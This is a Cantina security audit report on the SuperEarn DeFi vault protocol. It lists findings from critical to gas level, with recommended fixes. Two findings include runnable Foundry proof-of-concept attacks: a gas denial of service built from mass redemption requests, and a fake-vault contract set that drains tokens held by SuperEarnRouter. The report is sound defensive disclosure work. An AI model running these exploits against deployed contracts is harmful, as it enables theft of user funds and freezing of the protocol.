Organization
- @superearn
Engagement Type
Cantina Reviews
Period
-
Researchers
Findings
Critical Risk
1 findings
1 fixed
0 acknowledged
High Risk
3 findings
3 fixed
0 acknowledged
Medium Risk
5 findings
5 fixed
0 acknowledged
Low Risk
13 findings
11 fixed
2 acknowledged
Informational
14 findings
13 fixed
1 acknowledged
Gas Optimizations
6 findings
6 fixed
0 acknowledged
Critical Risk1 finding
RemoteVault.totalAssets adds amounts of different denominations
State
Severity
- Severity: Critical
≈
Likelihood: High×
Impact: High Submitted by
Drastic Watermelon
Description
RemoteVault.totalAssetsshould return the amount of underlying asset held by the vault. TheRemoteVault.assetsInTransitToOriginreturns an amount ofUSDTinstead, which is the denomination bridged back and forth betweenOriginVaultandRemoteVault.As a result, the value returned by
RemoteVault.totalAssetsis incorrect, causing errors in the asset to share conversion within the coreERC4626methods.Recommendation
Within
RemoteVault.totalAssets, convert the result ofassetsInTransitToOrigin()to the vault's asset.
High Risk3 findings
Incorrect asset to share conversion in RemoteVault._depositToYearn
State
Severity
- Severity: High
Submitted by
Drastic Watermelon
Description
RemoteVault._depositToYearnis triggered by a call to the permissionedRemoteVault.depositToYearnmethod. Such method is used to make aRemoteVaultinstance deposit a specified amount of assets into the integrated Yearn vault.The method incorrectly converts assets to shares without taking into consideration their relative exchange rates: in particular, it both ignores the conversion rates between assets and
CooldownVaultshares, and between the latter and Yearn vault shares.Becasue of the above, depending on the exchange rates, the obtained
minSharesOutmay be over- or under-estimated by a wide margin, resulting in either:- A larger slippage margin than desired, which may result in greater financial losses than acceptable
- A smaller slippage margin than desired, which will trigger unexpected transaction failures.
Recommendation
In order to correctly convert an amount of assets to Yearn vault shares, the method should:
- Convert assets to
CooldownVaultshares --> useCooldownVault.convertToShares - Convert
CooldownVaultshares the Yearn vault shares --> useVault.pricePerShareto calculate the corresponding amount of Yearn vault shares
In order to maintain consistency with the
RemoteVault._withdrawFromYearnmethod, the team could implement aSuperEarnRouter.previewDepositwhich incapsulates the logic shown above and may be used withinRemoteVault._depositToYearn.RemoteVault deposits and withdrawals can be frozen indefinitely
State
Severity
- Severity: High
Submitted by
Drastic Watermelon
Summary
RemoteVaultinherits OpenZeppelin'sERC4626implementation, overriding most of its functionality. Crucially, it overrides theERC4626.totalAssetsmethod to take into consideration different assets distributed to different parts of the system and not held by theRemoteVaultspecifically.Part of such assets are account within the
RemoteVault._calculatePendingCooldownAssetsmethod, which is meant to account for anyCooldownVaultredemption request held by the contract.Finding Description
The
RemoteVault._calculatePendingCooldownAssetsmethod calculates the amount of assets it has in pending redemption request in very inefficient manner:- It fetches all unclaimed redemption requests by calling
cooldownVault.getUnclaimedRedeemRequestIds() - It loops through all of the received redemption requests, filtering for those unclaimed and which have
receiverset toRemoteVault, accumulating the amount of assets.
This unbounded loop enables any account to leverage a bloat in the value returned by
cooldownVault.getUnclaimedRedeemRequestIds()to makeRemoteVault._calculatePendingCooldownAssets's gas consumption grow without a limit.Specifically, a malicious actor is able to force the method to consume more than 60 million gas, making it impossible for anyone to call the method once the contract is deployed to Ethereum. The inability to correctly call
RemoteVault.totalAssetsimplies the inability to call every coreERC4626methods (mint,deposit,redeem,withdraw) as they all rely on internal calls toRemoteVault.totalAssetsto determine the conversion price between assets and shares.Analyzing further, the inability for
RemoteVault.deposit,RemoteVault.withdrawand similar methods to be called implies a full shutdown of core protocol functionalities.Note 1: Notice that, although anyone may claim a redemption request with a reasonable slippage control, and thus remove a given redemption request from the set of unclaimed ones, an attacker can prevent this by setting the redemption request's receiver to be an account which has been blacklisted on the
USDCorUSDTcontract, which will make any transfer of tokens to such account fail, ultimately causing the redemption claim to fail as well.Note 2: Notice that, following Ethereum's Fusaka upgrade in which EIP-7825 is to be deployed, a cap on any transaction's gas consumption of 16,777,216 will be applied. This implies that the analysis executed for this issue will have to be adjusted to account for such limit: roughly speaking, a reduction by 1/4th of the needed pending redemption requests is expected to suffice for the issue to manifest.
PoC
In order to verify the finding, we've created the following PoC in which we create a large number of redemption requests and measure the amount of gas required for the highlighted method to be executed, asserting that it is larger than Ethereum's block gas limit. Within our research, we've found that 14000 redemption requests will trigger a large enough gas consumption.
In order to execute the test case, use
FOUNDRY_PROFILE=MAINNET forge t --mt test_RedeemVaultDoS.pragma solidity >=0.8.29; import "forge-std/src/Test.sol";import "@superearn/core/CooldownVault.sol";import "@superearn/core/CooldownVaultFactory.sol";import "@openzeppelin/contracts/token/ERC20/IERC20.sol";import "@openzeppelin/contracts/token/ERC20/ERC20.sol";import "@superearn/interface/ICooldownVault.sol"; // Simple mock ERC20 for testingcontract MockToken is ERC20 { uint8 private _decimals; constructor(string memory name, string memory symbol, uint8 decimals_) ERC20(name, symbol) { _decimals = decimals_; } function mint(address to, uint256 amount) external { _mint(to, amount); } function decimals() public view override returns (uint8) { return _decimals; }} contract PoC_GasDoS_CooldownRedemptions is Test { CooldownVault public cooldownVault; CooldownVaultFactory public factory; MockToken public usdc; address public governance = makeAddr("governance"); address public attacker = makeAddr("attacker"); address public remoteVault = makeAddr("remoteVault"); uint256 constant COOLDOWN_PERIOD = 7 days; uint256 constant INITIAL_BALANCE = 1_000_000e6; uint256 constant ATTACKER_DEPOSIT = 100e6; // Ethereum gas limit is 60M per block uint256 constant ETH_BLOCK_GAS_LIMIT = 60_000_000; function setUp() public { usdc = new MockToken("USDC", "USDC", 6); factory = new CooldownVaultFactory(); usdc.mint(address(this), 1e4); usdc.approve(address(factory), 1e4); cooldownVault = factory.createCooldownVault( IERC20(address(usdc)), "Cooldown USDC", "cUSDC", COOLDOWN_PERIOD, governance ); usdc.mint(attacker, ATTACKER_DEPOSIT); } // AUDIT copied here to simulate internall call jump instead of external call function calculatePendingCooldownAssets(address receiver) public view returns (uint256) { // Get all unclaimed redemption request IDs from CooldownVault uint256[] memory unclaimedIds = cooldownVault.getUnclaimedRedeemRequestIds(); uint256 totalPending = 0; for (uint256 i = 0; i < unclaimedIds.length; i++) { uint256 requestId = unclaimedIds[i]; // Query individual redemption request details ( address requestReceiver, uint256 assets, , // cooldownRequestedTime , // cooldownPeriod bool claimed ) = cooldownVault.redeemRequests(requestId); // Only count requests where WE are the receiver and not yet claimed if (requestReceiver == receiver && !claimed) { totalPending += assets; } } return totalPending; } function test_RedeemVaultDoS() public { // attacker gets cooldown vault shares vm.startPrank(attacker); usdc.approve(address(cooldownVault), ATTACKER_DEPOSIT); cooldownVault.deposit(ATTACKER_DEPOSIT, attacker); vm.stopPrank(); // create redemption requests uint256 toCreate = 14_000; vm.startPrank(attacker); for (uint256 i; i < toCreate; i++) { cooldownVault.redeem(1, attacker, attacker); } vm.stopPrank(); // measure gas cost uint256 gasStart = gasleft(); calculatePendingCooldownAssets(remoteVault); uint256 gasUsed = gasStart - gasleft(); assertGe(gasUsed, ETH_BLOCK_GAS_LIMIT); }}Recommendation
The system should completely avoid unbounded loops, especially over a end user controlled data set like the unclaimed redemption requests. The protocol should consider refactoring the system to allow spot queries (e.g. to a mapping) to retrieve the necessary data, in this case the total amount of assets sitting in unclaimed redemption requests attributed to a given account.
retrieveDebt should have access control
Severity
- Severity: High
≈
Likelihood: Medium×
Impact: High Submitted by
ladboy233
Description
After the strategy mint shares to incurs debt, after the timelock, anyone can trigger
retrieveDebtto remove thetotalDebtEven the strategy underpays the debt, the full debt is removed:
request.debtAssets.Because the function has no access control, a malicious actor can intentionally select a time slot when the
Cooldown strategyis short of asset to trigger the debt repayment and socialize the loss to the cooldown vault share holder.if (alreadyClaimed) { if (isDoneActually) { // don't need to claim again claimedAmount = Math.min(externalUnderlyingToken.balanceOf(address(this)), redeemUnderlyingAmount); } else { revert DebtClaimedNotYet();Recommendation
Add access control and only allows operator to trigger
retrieveDebt
Medium Risk5 findings
Funds held by SuperEarnRouter can be taken by anyone
State
- Fixed
PR #7
Severity
- Severity: Medium
Submitted by
Drastic Watermelon
Description
SuperEarnRoutermay be used by end users to batch deposits from assets, intoCooldownVaultshares and then into a Yearn vault shares.SuperEarnRouter.depositmust be provided with the target Yearn vault which represents the end target of the user's funds. Because the contract doesn't implement a whitelist to ensure that the method is provided only with protocol-deployed vaults, it is possible for anyone to skim any funds that may be held by theSuperEarnRouter.Proof of Concept
Create a
tests/SuperEarnRouter.t.soltest file, insert the following content and execute withforge t --mt test_deposit_stealFundsOnRouterpragma solidity >=0.8.29; import { Test } from "forge-std/src/Test.sol";import { SuperEarnRouter } from "../src/superearn/periphery/SuperEarnRouter.sol"; import "../src/mock/MockToken.sol"; contract SuperEarnRouterTest is Test { SuperEarnRouter internal superEarnRouter; address registry; address attacker; MockToken token; function setUp() public virtual { registry = makeAddr("registry"); // used only in SuperEarnRouter.endorsedVault attacker = makeAddr("attacker"); superEarnRouter = new SuperEarnRouter(registry); token = new MockToken("mock", "mock", 18); } function test_deposit_stealFundsOnRouter() external { // Attacker has 1 wei of tokens uint256 attackerInitialBalance = 1; token.mint(attacker, 1); // Some tokens are on router uint256 routerBalance = 100e18; token.mint(address(superEarnRouter), routerBalance); // Attacker deploys his contracts vm.startPrank(attacker); CooldownVault voidVault = new CooldownVault(address(token)); Vault yVault = new Vault(address(voidVault)); // Attacker skims assets from router token.approve(address(superEarnRouter), 1); superEarnRouter.deposit(address(yVault), 1, attacker, 0); // Assert attacker received funds assertEq(token.balanceOf(attacker), routerBalance + attackerInitialBalance, "attack failed"); assertEq(token.balanceOf(address(superEarnRouter)), 0, "router still has tokens"); }} contract Vault { address public cooldownVault; constructor(address _cooldownVault) { cooldownVault = _cooldownVault; } function token() external view returns(address) {return cooldownVault;} function deposit(uint256,address) external pure returns(uint256) {return 1;}} contract CooldownVault { address public asset; constructor(address _asset) { asset = _asset; } function deposit(uint256,address) external view returns(uint256) {return 1;} function approve(address,uint256) external {}}Recommendation
Implement a vault whitelist and check the highlighted method's
yVaultparameter has been whitelisted.Calling CrosschainAdapter.setAccountant will reset all crosschain asset accounting
State
Severity
- Severity: Medium
≈
Likelihood: Low×
Impact: High Submitted by
Drastic Watermelon
Description
CrosschainAdapter.setAccountantmay be used to change theCrosschainAdapter.accountantstorage variable, which is fetched bySuperEarnMessageAgent.getTruePeerAssetsandSuperEarnMessageAgent.getAssetsInTransit.The highlighted
SuperEarnMessageAgentmethods are both used withinOriginVault.totalAssets. As a consequence, a change toCrosschainAdapter.accountantwill result in a complete reset of all crosschain assets accounting, unless special care is taken to recreate the current accounting state within the new accountant before it is set withCrosschainAdapter.setAccountant.Recommendation
Consider removing the highlighted method and making the
CrosschainAdapter.accountantvalue an immutable.getSupplyCap() logic in StrategyMorphorV1Vault can block adjustPosition
Severity
- Severity: Medium
≈
Likelihood: Medium×
Impact: Medium Submitted by
ladboy233
Description
ERC4626 ·maxDeposit(receiver)returns the amount of assets that can be deposited right now (the remaining capacity or delta), not the global total asset ceiling.If
totalUnderlyingis greater than the remaining space (supplyAssetsCap),Math.min(supplyAssetsCap, totalUnderlying) issupplyAssetsCap`availableAssets = (supplyAssetsCap - Math.min(supplyAssetsCap, totalUnderlying));And the
availableAssetsis zero. The strategy assumesmaxDepositreturns the Total Cap, but it returns available cap.The strategy will believe it has 0 available space to deposit, preventing adjustPosition from ever investing funds.
availableAssets = Math.min(availableAssets, MAX_SUPPLY_THRESHOLD);Recommendation
function getSupplyCap() public view virtual override returns (uint256 supplyAssetsCap, uint256 availableAssets) { supplyAssetsCap = metaMorpho.maxDeposit(address(this)); availableAssets = Math.min(supplyAssetsCap, MAX_SUPPLY_THRESHOLD);}Hardcoded Incorrect min sqrt ratio breaks boundary price math in UniversalSwapRouter.sol
State
Severity
- Severity: Medium
≈
Likelihood: Medium×
Impact: Medium Submitted by
ladboy233
Description
the Uniswap v3/v4 TickMath docs tie those constants back to ·getSqrtRatioAtTick(MIN_TICK/MAX_TICK)`
https://docs.uniswap.org/contracts/v4/reference/core/libraries/TickMath
// v4 sqrt price bounds (Q64.96), same as Uniswap v3/v4 TickMathuint160 constant MIN_SQRT_RATIO = 4295128739;uint160 constant MAX_SQRT_RATIO = 1461446703485210103287273052203988822378723970342;Currently the code hardcoded the
MIN_SQRT_RATIOto incorrect value that does not the comply the Uniswap doc.The incorrect hard-coded MIN_SQRT_RATIO can cause price-range math to break at extreme ticks, leading to mispriced swaps or reverted operations near pool boundaries.
Recommendation
uint160 internal constant MIN_SQRT_PRICE = 4295128739;OriginVault.emergencyFulfillRedeem will always revert
State
- Fixed
PR #6
Severity
- Severity: Medium
Submitted by
Drastic Watermelon
Description
OriginVault.emergencyFulfillRedeemmay be used by an authorized party to fulfill an individual redemption request manually.Based on the distribution of assets between
OriginVaultandRemoteVault, the highlighted method may revert with aSlippageExceedederror.While
assetsNeededis calculated by taking a portion ofasset.balanceOf(address(this)),assetsToLockgoes throughOriginVault.totalAssetswhich also takes into consideration remote assets. Because the slippage check atOriginVault#L810is executedassetsNeededand a portion ofassetsToLock, in the case in whichRemoteVaultholds more assets thanOriginVault, the mentioned check will fail consistently unless special action is taken.Recommendation
Remove the slippage check: the highlighted method is intended to be used in emergency scenarios which may not need a slippage check entirely. In alternative, implement the slippage check as a caller-provided parameter which the outgoing amount of assets must be greater of.
Low Risk13 findings
RemoteVault.setYearnVault may be easily DoS'd
State
Severity
- Severity: Low
Submitted by
Drastic Watermelon
Description
RemoteVault.setYearnVaultmay be used by a privileged account to change theRemoteVault.yearnVaultstorage variable.In the case in which
yearnVault != address(0)and a new vault is being assigned to such variable, the highlighted method requires thatyearnVault.balanceOf(remoteVault) == 0. This implies that any account may transfer a minimal amount of shares to the contract to block the migration from being successfully executed.Recommendation
Consider whether such method is indeed useful to the
RemoteVault, given that its accounting is tightly tied to the utilized Yearn vault. If so, the method could transfer any shares it holds tomsg.sender.OriginVault redemption requests can get stuck with no way to cancel
State
- Acknowledged
Severity
- Severity: Low
Submitted by
Drastic Watermelon
Description
The
OriginVault.processRedemptionQueuefunction allows authorized accounts to fulfill pending redemption requests. The function accepts an asset amount limit and processes requests sequentially in FIFO (first-in, first-out) order until encountering a request that cannot be fully satisfied with the remaining allocation.The protocol lacks a mechanism to cancel redemption requests, creating a blocking condition where smaller redemption requests become indefinitely stuck behind larger unfulfillable requests in the queue.
Recommendation
Implement one of the following solutions:
- Cancellation mechanism: Add a
cancelRedemptionRequestfunction allowing users to remove their requests from the queue, enabling them to resubmit with adjusted amounts if needed. - Skip logic: Modify
processRedemptionQueueto skip over requests that exceed the remaining asset limit and continue processing subsequent fulfillable requests.
OraklAssetPriceConverter assumes 8 decimal precision for all feeds
State
Severity
- Severity: Low
Submitted by
Drastic Watermelon
Description
OraklAssetPriceConverter.MIN_STABLECOIN_PRICEandOraklAssetPriceConverter.MAX_STABLECOIN_PRICEare defined with 8 units of decimal precision, which isn't guaranteed to match the decimals used by all price feeds.Using a price feed with a different amount of decimals of fixed precision results in all calls to
OraklAssetPriceConverter.getLatestDatato fail with aPriceOutOfRangeerror.Recommendation
In order to make the contract more flexible, these constants should be defined
Incorrect access control used in RemoteVault emergency methods
State
Severity
- Severity: Low
Submitted by
Drastic Watermelon
Description
RemoteVault.emergencyCooldownVaultRedeemandRemoteVault.emergencyCooldownVaultClaimuse theonlyManagersmodifier instead of theonlyGovernanceone.Recommendation
Apply the
onlyGovernancemodifier to the highlighted methods and remove theonlyManagersmodifier.OriginVault._convertAssetToUsdt assumes no difference in decimal precision between assets
State
Severity
- Severity: Low
Submitted by
Drastic Watermelon
Description
The highlighted method assumes that
assetAmountis expressed in the same decimals asUSDTon the Kaia blockchain.Recommendation
Modify the method take into account any possible difference in decimal precision between the two assets.
ERC7540Vault.sol#tendTrigger does not check if the vault is in emergencyExit state
State
Severity
- Severity: Low
≈
Likelihood: Low×
Impact: Low Submitted by
ladboy233
Description
tendTrigger in Morpho vault return
falsewhen emergencyExit is activated.The same check is missing in
ERC7540Vault.sol,the impact is that even when the contract is in
emergencymode, the offchain bot that relies onERC7540Vault.solstill trigger harvest.Recommendation
Add the check in
ERC7540Vault.sol#tendTriggerfunction as well.if (emergencyExit) return false;Upper bound and lower bound oracle price assumption can impact protocol solvency.
Description
The code hardcode
MIN_STABLECOIN_PRICEandMAX_STABLECOIN_PRICEupper and lower bound and the assumption is that the stablecoin will not depeg below 0.95.If the stablecoin does depeg below 0.95, the oracle service is always DOSed.
https://coinmarketcap.com/academy/article/explaining-the-silicon-valley-bank-fallout-and-usdc-de-peg
In extreme example, USDC shortly depegs to 0.88 before.
Recommendation
Consider add a setter to set the MIN_STABLECOIN_PRICE and MAX_STABLECOIN_PRICE
OriginVault.emergencyWithdrawFromAgent can trigger double-counting errors
State
Severity
- Severity: Low
Submitted by
Drastic Watermelon
Description
If the highlighted method is called with
tokenparameter set toOriginVault.assetand the specifiedamountis accounted for withinSuperEarnMessageAgent.getAssetsInTransit, such amount of assets will be double-counted permanently withinOriginVault.totalAssets, leading to incorrect share pricing.Recommendation
Prevent the method from transferring the vault's asset.
batchFulfillRedemptions contains unbounded loop in OriginVault.sol
State
Severity
- Severity: Low
≈
Likelihood: Low×
Impact: Low Submitted by
ladboy233
Description
The code always attempts to looping over all
redemptionQueueitems and the share holder can fill in theredemptionQueuewith tiny shares to grow theredemptionQueuesize infinitely and make thebatchFulfillRedemptionsnot-callable.Recommendation
Consider add a function to fill the individual redeem request and remove the request from the queue.
estimatedTotalAssets should use previewRedeem and instead of previewMint to estimate total asset
Severity
- Severity: Low
≈
Likelihood: Low×
Impact: Low Submitted by
ladboy233
Description
getAmountBySharescalls:function getAmountByShares(uint256 shares) public view virtual override returns (uint256) { return metaMorpho.previewMint(shares); }However, the function tries to evaluate the estimated current total asset.
previewMint(shares)answers: “how many ASSETS must I pay to mint exactly shares new shares right now?”That’s the mint direction (assets→shares), with rounding up。
But we wants:
how many ASSETS would I receive if I redeem them?Recommendation
Call
previewRedeeminstead ofpreviewMintwhen callinggetAmountBySharesThe system heavily relies on unbounded loops
State
Severity
- Severity: Low
Submitted by
Drastic Watermelon
Description
Functions within
OriginVaultrely on unbounded loops to accumulate values needed for specific calculations, resulting in many areas in which the system's gas consumption may grow unexpectedly and potentially turn into a full DoS on the affected functions.Recommendation
The protocol should heavily consider removing any unbounded loop within the system, especially those executed over data sets which may grow as a consequence of end-user interactions. The accumulators which used such loops should rely on values that are accumulated and stored within a contract's storage.
Calls to CooldownVault.recover dilute value for all share holders
State
- Acknowledged
Severity
- Severity: Low
Submitted by
Drastic Watermelon
Description
CooldownVault.recovermay be used by an authorized account to manually mint an amount of shares such that the asset to share exchange rate is set to 1. This will result in all vault depositors losing value they've accrued while providing liquidity to the vault.Recommendation
Do not allow for manual share price manipulation, as shares appreciating with regards to assets is a common and expected behaviour of ERC4626-compliant vaults.
Two-step execution pattern in BaseCooldownStrategy lacks access control separation and time delay enforcement
State
- Fixed
PR #10
Severity
- Severity: Low
Submitted by
Drastic Watermelon
Description
BaseCooldownStrategyimplements logic to allow for an authorized party to execute an arbitrary call. This functionality is implemented with 2 methods,BaseCooldownStrategy.submitExecutionandBaseCooldownStrategy.acceptExecution.The way in which these are implemented offer little to no benefit, as:
BaseCooldownStrategy.submitExecutionandBaseCooldownStrategy.acceptExecutionmay be called by the same account with the governance role.- There is no minimum time delay between proposal and execution, as is typical, but a deadline is imposed.
Recommendation
The methods should be refactored to either:
- Require accounts with different roles to call each method
- Implement a timelock functionality which forces the methods to be called with a reasonable delay between each other.
Informational14 findings
Incorrect comment
State
Severity
- Severity: Informational
Submitted by
Drastic Watermelon
Description
The highlighted comments present errors that should be fixed to ensure the documentation's correctness:
- Within
UniversalSwapRouter::L186: "Curve" should be corrected to "Uniswap"
Recommendation
Apply the suggestions provided in the section above.
UniversalSwapRouter uses two libraries for safe ERC20 interactions
State
Severity
- Severity: Informational
Submitted by
Drastic Watermelon
Description
SafeERC20andTransferHelperserve the same purpose so there is no need to use both of them within the same contract.Recommendation
Select and use only one of the two libraries.
CrosschainAdapter.sendAssets will incorrectly account for messages sent to unregistered networks
State
- Fixed
PR #5
Severity
- Severity: Informational
Submitted by
Drastic Watermelon
Description
CrosschainAdapter.sendAssetsmay be called by aSuperEarnMessageAgentinstance of by an authorized vault to trigger a crosschain asset transfer.After validating the caller and pulling the requested funds, the highlighted method will initiate the crosschain message accounting with a call to
SuperEarnMessageAgent.notifyBridgeInitiated. Once the external call has been executed, only ifpeerAdapters[destinationChainId] != address(0)the method will actually trigger the entire crosschain message dispatch via the protocol's custom Runespear messaging format and CCIP integration.While rather unlikely, if the caller were to provide a
destinationIdwhich hasn't been registered yet in the contract's storage, theSuperEarnMessageAgent.notifyBridgeInitiatedmethod is triggered without a crosschain message actually being initiated.Recommendation
Within the highlighted method, revert if
peerAdapters[destinationChainId] == address(0)to disallow this edge case from being processed.Incorrect parameter in external call within `CrosschainAdapter.sendAssets
State
- Fixed
PR #5
Severity
- Severity: Informational
Submitted by
Drastic Watermelon
Description
The highlighted method calls
agent.notifyBridgeInitiated(callingVault, ...).The method's documentation states the first parameter to be the vault that must be notified of the bridge. Given that
callingVaultmay be assigned eitherCrosschainAdapter.vaultorCrosschainAdapter.agent, the provided parameter will be incorrect in the case in which the method is called by the latter.Recommendation
Always provide
CrosschainAdapter.vaultto the call.Empty method implements access control
State
- Fixed
PR #5
Severity
- Severity: Informational
Submitted by
Drastic Watermelon
Description
SuperEarnMessageAgent.notifyBridgeInitiatedis a no-op method with an empty body, except for validating thatmsg.sender == address(adapter).Recommendation
Remove the method if it is not necessary or remove the access control.
SuperEarnAccessControl modifiers should use the contract's getters
State
Severity
- Severity: Informational
Submitted by
Drastic Watermelon
Description
The highlighted modifiers duplicate code instead of utilizing the public view methods it defines.
Recommendation
In order to improve the code's readability and maintainability, consider using the public getter methods.
Variable assignment can be simplified
State
- Fixed
PR #5
Severity
- Severity: Informational
Submitted by
Drastic Watermelon
Description
CrosschainAdapter.sendAssetsmay only be called byCrosschainAdapter.agentorCrosschainAdapter.vault. The assignment oftokenSourceatCrosschainAdapter#L255can thus be simplified.Recommendation
Modify the highlighted line of code to assign
tokenSource = msg.sender.Incorrect parameter name in interface's event
State
Severity
- Severity: Informational
Submitted by
Drastic Watermelon
Description
Within
IERC7540.sol, the declaration ofRedeemRequestevent incorrectly names the last parameter to "assets" instead of "shares".Recommendation
Rename the mentioned parameter.
Initial infinite approval from OriginVault to SuperEarnMessageAgent is overwritten
State
Severity
- Severity: Informational
Submitted by
Drastic Watermelon
Description
When
OriginVault.setAgentis called, an infinite allowance ofassetis given to the newly written agent. This approval is overwritten withinOriginVault.depositToRemote.Recommendation
Remove the unnecessary asset approval within
OriginVault.depositToRemote.Unreacheable code
State
Severity
- Severity: Informational
Submitted by
Drastic Watermelon
Description
UniversalSwapRouter#L429-430is unreachable code given thatUniversalSwapRouter._swapExactInputSingleUniSwapV4always creates aCallbackDatastruct withcallbackData.settleUsingBurn = false.Recommendation
Remove the dead code.
HealthCheck.setGovernance is missing access control
State
- Fixed
PR #10
Severity
- Severity: Informational
Submitted by
Drastic Watermelon
Description
HealthCheck.setGovernanceisn't applied theonlyGovernancemodifier.Recommendation
Even though it is implemented by
CommonHealthCheck.setGovernance, which implements proper access control for the highlighted method, the protocol should consider applying the modifier to keep the method consistent with all other methods.Unnecessary ternary operator
State
Severity
- Severity: Informational
Submitted by
Drastic Watermelon
Description
The ternary operator at the highlighted line of code isn't necessary, given that it has already been asserted that
_amountNeeded > pendingInvested.Recommendation
Remove the ternary operator and use
_amountNeeded - pendingInvested.Bridge accounting assumes single asset type and fails to track per-token balances
State
Severity
- Severity: Informational
≈
Likelihood: Low×
Impact: Low Submitted by
ladboy233
Description
The
IRunespearAgent+IBridgeAccountantdesign comment says:// CRITICAL NOTE: now this assumes a single kind of assets (e.g. USDC)The current runespear and cross-chain adapter does not track the bridge amount per token.
The token bridged out can be USDT or the asset.
address token = tokenType == SuperEarnV2Protocol.AssetType.USDT ? usdt : asset();Recommendation
Support multiple token requires changes to the cross-chain protocol, so in the current codebase, the protocol should swap to targe token before bridging.
CooldownVault isn't ERC4626 compliant
State
- Acknowledged
Severity
- Severity: Informational
Submitted by
Drastic Watermelon
Description
The contract isn't fully IERC4626 compliant given that it:
- may not return funds upon calls to
CooldownVault.withdrawandCooldownVault.redeem. - changes the semantics of the values returned by such methods: they're now request ids instead of share or asset amounts.
Recommendation
The protocol should consider implementing ERC7540, as it is formally more correct for this contract.
Gas Optimizations6 findings
Execute allowance check early
State
Severity
- Severity: Gas optimization
Submitted by
Drastic Watermelon
Description
The highlighted allowance check within
CooldownVaultFactory.createCooldownVaultshould be executed before a new instance ofCooldownVaultis deployed in order to reduce gas in the unlikely case in which such check triggers a revert.Recommendation
Execute the allowance check before the
CooldownVaultdeploymentMathemathical calculation can be simplified
State
Severity
- Severity: Gas optimization
Submitted by
Drastic Watermelon
Description
CooldownVault#L865can be simplified by removing10 ** _decimalsOffset()given that_decimalsOffset() == 1.Recommendation
Apply the recommended simplifications.
SuperEarnAccessControl._isContract is used only within permissioned methods
State
Severity
- Severity: Gas optimization
Submitted by
Drastic Watermelon
Description
SuperEarnAccessControl._isContractis used only within permissioned methods to when writing values to storage. It is thus not strictly necessary to execute such check, given that the permissioned actor is able to verify beforehand whether a given account holds code or not.Recommendation
Remove the method in order to reduce the gas consumption required for methods using such method internally.
Avoid try/catch-ing external calls to revert in the catch clause
State
Severity
- Severity: Gas optimization
Submitted by
Drastic Watermelon
Description
The highlighted try/catch block to decode a bytes array provided as a call argument can be entirely avoided by requiring the
dataparameter to be ofSwapConfig[]type instead ofbytes.Recommendation
Change the type of the
dataargument in order to avoid having to make an external call to self and remove the highlighted try/catch block.Unncessary Math.min call
State
Severity
- Severity: Gas optimization
Submitted by
Drastic Watermelon
Description
Math.min(availUsdt, neededUsdt)is superfluous within the highlighted line of code, given that it has already been asserted thatavailUsdt >= neededUsdt.Recommendation
Remove
Math.min(availUsdt, neededUsdt)and useneededUsdtinstead.Token transfers in SuperEarnMessageAgent can be simplified into one
State
- Fixed
PR #5
Severity
- Severity: Gas optimization
Submitted by
Drastic Watermelon
Description
The highlighted token transfers should be condensed into one, in order to avoid executing two separate external calls.
Recommendation
Modify the highlighted transfers to
IERC20(token).safeTransferFrom(address(adapter), targetVault, amount).